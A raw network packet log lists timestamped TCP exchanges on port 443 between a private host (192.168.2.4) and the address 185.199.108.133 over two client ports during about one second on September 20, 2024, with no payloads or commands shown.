Sep 20, 2024 12:14:55.806442022 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.806829929 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.806835890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.806914091 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.807075977 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.807137012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.807188034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.807193995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.807277918 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.807621002 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.807665110 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.807734013 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.807739973 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.807826042 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.808204889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.808248043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.808496952 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.808502913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.808636904 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.809021950 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.809067965 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.809139013 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.809144020 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.809231043 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.809376001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.809426069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.809565067 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.809571981 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.809669018 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.810137987 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.810190916 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.810256958 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.810262918 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.810331106 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.810842991 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.810898066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.810956001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.810961962 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.811037064 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.849230051 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.849282980 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.849653006 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.849674940 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.849767923 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.850327969 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.850370884 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.850635052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.850646973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.850763083 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.851145983 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.851186037 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.851502895 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.851515055 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.851658106 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.851923943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.851962090 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.852058887 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.852070093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.852181911 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.852790117 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.852829933 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.852900028 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.852910995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.852976084 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.853039026 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.853749990 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.853790045 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.853902102 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.853913069 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.854018927 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.854336023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.854376078 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.854490042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.854501009 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.854590893 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.855217934 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.855256081 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.855350971 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.855362892 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.855451107 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.895023108 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.895087957 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.895234108 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.895234108 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.895241022 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.895284891 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.895488024 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.895540953 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.895570040 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.895576954 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.895606995 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.895623922 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.896076918 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.896121025 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.896147966 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.896153927 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.896176100 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.896198988 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.896547079 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.896590948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.896614075 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.896620989 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.896650076 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.896667004 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.897479057 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.897533894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.897567034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.897572041 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.897602081 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.897622108 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.898082972 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.898137093 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.898166895 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.898173094 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.898195982 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.898217916 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.898680925 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.898722887 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.898752928 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.898757935 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.898781061 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.898796082 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.899576902 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.899626970 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.899662971 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.899669886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.899715900 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.936299086 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.936348915 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.936573029 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.936592102 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.937030077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.937069893 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.937284946 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.937299013 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.938081026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.938180923 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.938214064 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.938236952 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.938342094 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.938730001 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.938769102 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.938854933 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.938865900 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.938920975 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.939155102 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.939198971 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.939274073 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.939285994 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.939438105 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.940726995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.940768003 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.940960884 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.940973043 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.941128969 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.941175938 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.941242933 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.941270113 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.941334009 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.941863060 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.941900969 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.941970110 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.941981077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.942042112 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.982161045 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.982223988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.982544899 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.982552052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.982781887 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.982794046 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.982841015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.982897043 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.982903004 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.983016014 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.983649015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.983700037 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.983795881 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.983803034 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.983902931 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.984061003 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.984112024 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.984169960 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.984175920 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.984251022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.984478951 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.984524965 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.984584093 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.984591007 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.984677076 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.985639095 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.985691071 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.985771894 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.985779047 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.985872030 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.987801075 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.992285013 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.992328882 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.992432117 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.992436886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.992568016 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.992940903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.992991924 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.993065119 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.993071079 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.993156910 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.024100065 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.024142027 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.024230957 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.024244070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.024296999 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.024601936 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.024641991 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.024684906 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.024696112 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.024722099 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.024755955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.025090933 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.025130987 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.025173903 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.025187016 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.025214911 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.025237083 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.026102066 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.026140928 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.026180983 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.026191950 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.026220083 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.026242018 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.026458025 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.026498079 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.026536942 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.026547909 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.026597977 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.026598930 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.028079987 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.028120995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.028166056 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.028177023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.028203964 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.028223991 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.028485060 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.028523922 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.028567076 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.028578043 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.028603077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.028635979 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.029408932 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.029447079 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.029490948 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.029500961 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.029527903 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.029556990 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.069317102 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.069363117 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.069396973 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.069402933 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.069433928 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.069453001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.070004940 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.070053101 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.070071936 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.070080996 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.070101976 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.070120096 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.070370913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.070414066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.070431948 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.070441961 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.070460081 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.070477962 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.071086884 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.071130037 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.071150064 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.071156979 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.071182966 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.071193933 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.071801901 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.071849108 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.071870089 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.071877956 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.071901083 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.071919918 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.072519064 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.072561979 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.072583914 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.072603941 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.072624922 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.072712898 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.078773022 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.078830957 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.078854084 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.078860998 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.078883886 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.078903913 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.079405069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.079427004 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.079472065 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.079478979 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.079519987 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.115809917 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.115850925 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.115935087 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.115952015 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.115978003 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.115998983 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.116663933 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.116704941 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.116748095 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.116759062 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.116785049 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.116808891 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.116844893 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.116884947 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.116921902 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.116931915 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.116961956 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.116981030 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.117563963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.117604017 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.117639065 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.117650032 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.117676020 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.117696047 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.118490934 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.118563890 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.118585110 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.118596077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.118649006 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.118649006 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.119468927 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.119512081 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:56.119549990 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:56.119560003 CEST	443	58640	185.199.108.133	192.168.2.4
